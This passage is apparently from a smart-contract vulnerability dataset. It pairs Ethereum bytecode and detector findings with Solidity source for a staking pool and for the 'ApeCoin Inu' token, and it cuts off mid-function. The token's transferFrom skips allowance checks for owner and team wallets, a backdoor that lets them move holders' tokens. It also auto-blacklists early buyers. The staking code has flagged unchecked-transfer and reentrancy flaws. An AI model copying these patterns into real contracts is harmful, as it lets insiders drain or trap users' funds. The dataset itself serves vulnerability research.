ec0565b15611e1e57611d1a82611e22565b15611d8857600082815260016020819052604080832060040180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169092179091555183917f93fbc709d9f9290b7a6b4c56546e5ac117eab4b159daa1e5d68b570da75f340591a2611e1e565b600082815260026020526040812081611d9f611c7c565b73ffffffffffffffffffffffffffffffffffffffff16815260208101919091526040908101600090812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016931515939093179092555183917f2a2271354a084c25596df6a91a5d496ac459828033d66d9c705392da94eb12ce91a25b5050565b6000818152600160208181526040808420808401546002808301546003840180548651601f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9a831615610100029a909a01909116939093049788018790048702830187019095528682528796939573ffffffffffffffffffffffffffffffffffffffff909316949093606093830182828015611f005780601f10611ed557610100808354040283529160200191611f00565b820191906000526020600020905b815481529060010190602001808311611ee357829003601f168201915b50505050509050600081519050604051602083016000828483888a6187965a03f19a9950505050505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f7057805160ff1916838001178555611f9d565b82800160010185558215611f9d579182015b82811115611f9d578251825591602001919060010190611f82565b506118f49291505b808211156118f45760008155600101611fa556fea26469706673582212201fb1e28e2951d6b714faaf59066e99dca7bde63fc3986a8ea9490d7f56edebec64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,857 |
0xf3e910a7e92ff8a249574dbab445270cecbbdb86
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256 r) {
require(m != 0, "SafeMath: to ceil number shall not be zero");
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IRW{
function sendRewards(address to, uint256 tokens) external;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only allowed by owner");
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
contract ChocolatePool is Owned {
using SafeMath for uint256;
IERC20 vanilla;
IRW rewardsWallet;
uint256 public stakingPeriod = 45 days;
uint256 private rewardPercentage = 300; // APY
uint256 private maxSlots = 30000 * 10 ** (18);
uint256 private minTokensPerUser = 1000 * 10 ** (18);
uint256 private maxTokensPerUser = 5000 * 10 ** (18);
uint256 private subscriptionPeriod = 3 days;
uint256 public subscriptionEnds;
uint256 public rewardClaimDate;
uint256 public totalClaimedRewards;
uint256 public totalStaked;
struct Account{
uint256 stakedAmount;
uint256 rewardsClaimed;
uint256 pending;
}
mapping(address => Account) public stakers;
event RewardClaimed(address claimer, uint256 reward);
event UnStaked(address claimer, uint256 stakedTokens);
event Staked(address staker, uint256 tokens);
event MinTokensPerUserChanged(address by, uint256 oldValue, uint256 newValue);
event MaxTokensPerUserChanged(address by, uint256 oldValue, uint256 newValue);
event APYChanged(address by, uint256 oldValue, uint256 newValue);
event MaxSlotsChanged(address by, uint256 oldValue, uint256 newValue);
constructor(address _tokenAddress, address _rewardsWallet) public {
vanilla = IERC20(_tokenAddress);
rewardsWallet = IRW(_rewardsWallet);
subscriptionEnds = block.timestamp.add(subscriptionPeriod);
rewardClaimDate = subscriptionEnds.add(stakingPeriod);
}
// ------------------------------------------------------------------------
// Start the staking or add to existing stake
// user must approve the staking contract to transfer tokens before staking
// @param _amount number of tokens to stake
// staking is only possible within subscription period
// ------------------------------------------------------------------------
function STAKE(uint256 _amount) external {
require(block.timestamp <= subscriptionEnds, "subscription time expires");
require(stakers[msg.sender].stakedAmount.add(_amount) >= minTokensPerUser && stakers[msg.sender].stakedAmount.add(_amount) <= maxTokensPerUser, "exceeds allowed ranges");
uint256 deduction = onePercent(_amount).mul(5); // 5% transaction cost
totalStaked = totalStaked.add(_amount.sub(deduction));
require(totalStaked <= maxSlots, "no free slots");
// transfer the tokens from caller to staking contract
vanilla.transferFrom(msg.sender, address(this), _amount);
// record it in contract's storage
stakers[msg.sender].stakedAmount = stakers[msg.sender].stakedAmount.add(_amount.sub(deduction)); // add to the stake or fresh stake
emit Staked(msg.sender, _amount.sub(deduction));
}
function changeMinTokensPerUser(uint256 _newMinTokensPerUser) external onlyOwner{
emit MinTokensPerUserChanged(msg.sender, minTokensPerUser, _newMinTokensPerUser);
minTokensPerUser = _newMinTokensPerUser;
}
function changeMaxTokensPerUser(uint256 _newMaxTokensPerUser) external onlyOwner{
emit MaxTokensPerUserChanged(msg.sender, maxTokensPerUser, _newMaxTokensPerUser);
maxTokensPerUser = _newMaxTokensPerUser;
}
function changeAPY(uint256 _newAPY) external onlyOwner{
emit APYChanged(msg.sender, rewardPercentage, _newAPY);
rewardPercentage = _newAPY;
}
function changeMaxSlots(uint256 _newMaxSlots) external onlyOwner{
emit MaxSlotsChanged(msg.sender, maxSlots, _newMaxSlots);
maxSlots = _newMaxSlots;
}
function Claim() external{
ClaimReward();
UnStake();
}
// ------------------------------------------------------------------------
// Claim reward
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimReward() public {
require(pendingReward(msg.sender) > 0, "nothing pending to claim");
require(block.timestamp > rewardClaimDate, "claim date has not reached");
// transfer the reward tokens
rewardsWallet.sendRewards(msg.sender, pendingReward(msg.sender));
// add claimed reward to global stats
totalClaimedRewards = totalClaimedRewards.add(pendingReward(msg.sender));
emit RewardClaimed(msg.sender, pendingReward(msg.sender));
// add the reward to total claimed rewards
stakers[msg.sender].rewardsClaimed = stakers[msg.sender].rewardsClaimed.add(pendingReward(msg.sender));
}
// ------------------------------------------------------------------------
// Unstake the tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function UnStake() public {
uint256 stakedAmount = stakers[msg.sender].stakedAmount;
require(stakedAmount > 0, "insufficient stake");
if(block.timestamp < rewardClaimDate)
totalStaked = totalStaked.sub(stakedAmount);
else
stakers[msg.sender].pending = pendingReward(msg.sender);
stakers[msg.sender].stakedAmount = 0;
// transfer staked tokens
vanilla.transfer(msg.sender, stakedAmount);
emit UnStaked(msg.sender, stakedAmount);
}
// ------------------------------------------------------------------------
// Query to get the pending reward
// ------------------------------------------------------------------------
function pendingReward(address user) public view returns(uint256 _pendingReward){
uint256 reward = (((stakers[user].stakedAmount).mul(rewardPercentage).mul(stakingPeriod)).div(365 days)).div(100);
reward = reward.sub(stakers[user].rewardsClaimed);
return reward.add(stakers[user].pending);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80639168ae72116100a2578063cea217ac11610071578063cea217ac14610230578063d578ceab1461024d578063ecb9061514610255578063f2fde38b1461025d578063f40f0f52146102835761010b565b80639168ae72146101bf5780639c66f91814610203578063c03d5b471461020b578063ca84d591146102135761010b565b806376159b68116100de57806376159b681461016e57806379372f9a1461018b578063817b1cd2146101935780638da5cb5b1461019b5761010b565b80632d300bc6146101105780633158952e1461012f5780634abe5357146101375780636a032d1e14610154575b600080fd5b61012d6004803603602081101561012657600080fd5b50356102a9565b005b61012d610348565b61012d6004803603602081101561014d57600080fd5b503561035a565b61015c6103f9565b60408051918252519081900360200190f35b61012d6004803603602081101561018457600080fd5b50356103ff565b61012d61049e565b61015c610669565b6101a361066f565b604080516001600160a01b039092168252519081900360200190f35b6101e5600480360360208110156101d557600080fd5b50356001600160a01b031661067e565b60408051938452602084019290925282820152519081900360600190f35b61015c61069f565b61015c6106a5565b61012d6004803603602081101561022957600080fd5b50356106ab565b61012d6004803603602081101561024657600080fd5b503561091a565b61015c6109b9565b61012d6109bf565b61012d6004803603602081101561027357600080fd5b50356001600160a01b0316610b21565b61015c6004803603602081101561029957600080fd5b50356001600160a01b0316610bc3565b6000546001600160a01b03163314610300576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600554604080513381526020810192909252818101839052517fccca48e86e2bbbf244ba9845585f183d753d3d0f42ff075c94c85975ed54c23d9181900360600190a1600555565b61035061049e565b6103586109bf565b565b6000546001600160a01b031633146103b1576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600754604080513381526020810192909252818101839052517ff8aebc70c5c1a14d6145f9ee606a71819d2ecfc65a99a4cb03f84ba4738d63c49181900360600190a1600755565b600a5481565b6000546001600160a01b03163314610456576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600454604080513381526020810192909252818101839052517fba70b9c10ddb750045bee6b7f9cbf7019a95c511ab6431aa6ebb9e82d53e816a9181900360600190a1600455565b60006104a933610bc3565b116104fb576040805162461bcd60e51b815260206004820152601860248201527f6e6f7468696e672070656e64696e6720746f20636c61696d0000000000000000604482015290519081900360640190fd5b600a544211610551576040805162461bcd60e51b815260206004820152601a60248201527f636c61696d206461746520686173206e6f742072656163686564000000000000604482015290519081900360640190fd5b6002546001600160a01b031663c8773af23361056c81610bc3565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156105b257600080fd5b505af11580156105c6573d6000803e3d6000fd5b505050506105df6105d633610bc3565b600b5490610c77565b600b557f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f72413361060d81610bc3565b604080516001600160a01b03909316835260208301919091528051918290030190a161065461063b33610bc3565b336000908152600d602052604090206001015490610c77565b336000908152600d6020526040902060010155565b600c5481565b6000546001600160a01b031681565b600d6020526000908152604090208054600182015460029092015490919083565b60095481565b60035481565b600954421115610702576040805162461bcd60e51b815260206004820152601960248201527f737562736372697074696f6e2074696d65206578706972657300000000000000604482015290519081900360640190fd5b600654336000908152600d602052604090205461071f9083610c77565b101580156107485750600754336000908152600d60205260409020546107459083610c77565b11155b610792576040805162461bcd60e51b81526020600482015260166024820152756578636565647320616c6c6f7765642072616e67657360501b604482015290519081900360640190fd5b60006107a860056107a284610cda565b90610d05565b90506107c06107b78383610d5e565b600c5490610c77565b600c819055600554101561080b576040805162461bcd60e51b815260206004820152600d60248201526c6e6f206672656520736c6f747360981b604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561086557600080fd5b505af1158015610879573d6000803e3d6000fd5b505050506040513d602081101561088f57600080fd5b506108b5905061089f8383610d5e565b336000908152600d602052604090205490610c77565b336000818152600d60205260409020919091557f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d906108f48484610d5e565b604080516001600160a01b03909316835260208301919091528051918290030190a15050565b6000546001600160a01b03163314610971576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600654604080513381526020810192909252818101839052517f1bcb3854e9bd0d925ab3d4f9a7fa173e3bf9f70d39c34b375c08aaefb9666c619181900360600190a1600655565b600b5481565b336000908152600d602052604090205480610a16576040805162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e74207374616b6560701b604482015290519081900360640190fd5b600a54421015610a3557600c54610a2d9082610d5e565b600c55610a52565b610a3e33610bc3565b336000908152600d60205260409020600201555b336000818152600d60209081526040808320839055600154815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610ab757600080fd5b505af1158015610acb573d6000803e3d6000fd5b505050506040513d6020811015610ae157600080fd5b5050604080513381526020810183905281517f79d3df6837cc49ff0e09fd3258e6e45594e0703445bb06825e9d75156eaee8f0929181900390910190a150565b6000546001600160a01b03163314610b78576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600080610c1c6064610c166301e13380610c166003546107a2600454600d60008c6001600160a01b03166001600160a01b0316815260200190815260200160002060000154610d0590919063ffffffff16565b90610da0565b6001600160a01b0384166000908152600d6020526040902060010154909150610c46908290610d5e565b6001600160a01b0384166000908152600d6020526040902060020154909150610c70908290610c77565b9392505050565b600082820183811015610cd1576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b600080610ce8836064610de2565b90506000610cfd612710610c16846064610d05565b949350505050565b600082610d1457506000610cd4565b82820282848281610d2157fe5b0414610cd15760405162461bcd60e51b8152600401808060200182810382526021815260200180610f356021913960400191505060405180910390fd5b6000610cd183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e38565b6000610cd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ecf565b600081610e205760405162461bcd60e51b815260040180806020018281038252602a815260200180610f56602a913960400191505060405180910390fd5b818260018486010381610e2f57fe5b04029392505050565b60008184841115610ec75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e8c578181015183820152602001610e74565b50505050905090810190601f168015610eb95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f1e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610e8c578181015183820152602001610e74565b506000838581610f2a57fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77536166654d6174683a20746f206365696c206e756d626572207368616c6c206e6f74206265207a65726fa2646970667358221220af5ca611c80868fa13fb32299a16ac6ae4cfc388f5d9b0fad2bc5cbf7c2cf7eb64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 7,858 |
0x66f956cc2385df6477172a743169d18609b218b2
|
/**
*Submitted for verification at Etherscan.io on 2022-03-17
*/
/**
ApeCoin Inu
Telegram: https://t.me/ApeCoinInu
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ApeCoinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ApeCoin Inu";//
string private constant _symbol = "APECOININU";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 11;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 13;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x74e08a948583c39Bb61052c274d7EA01305fE112);//
address payable private _marketingAddress = payable(0x74e08a948583c39Bb61052c274d7EA01305fE112);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000 * 10**9; //
uint256 public _maxWalletSize = 4000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
uint256 feeRatio = _taxFeeOnBuy.div(_taxFeeOnSell);
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
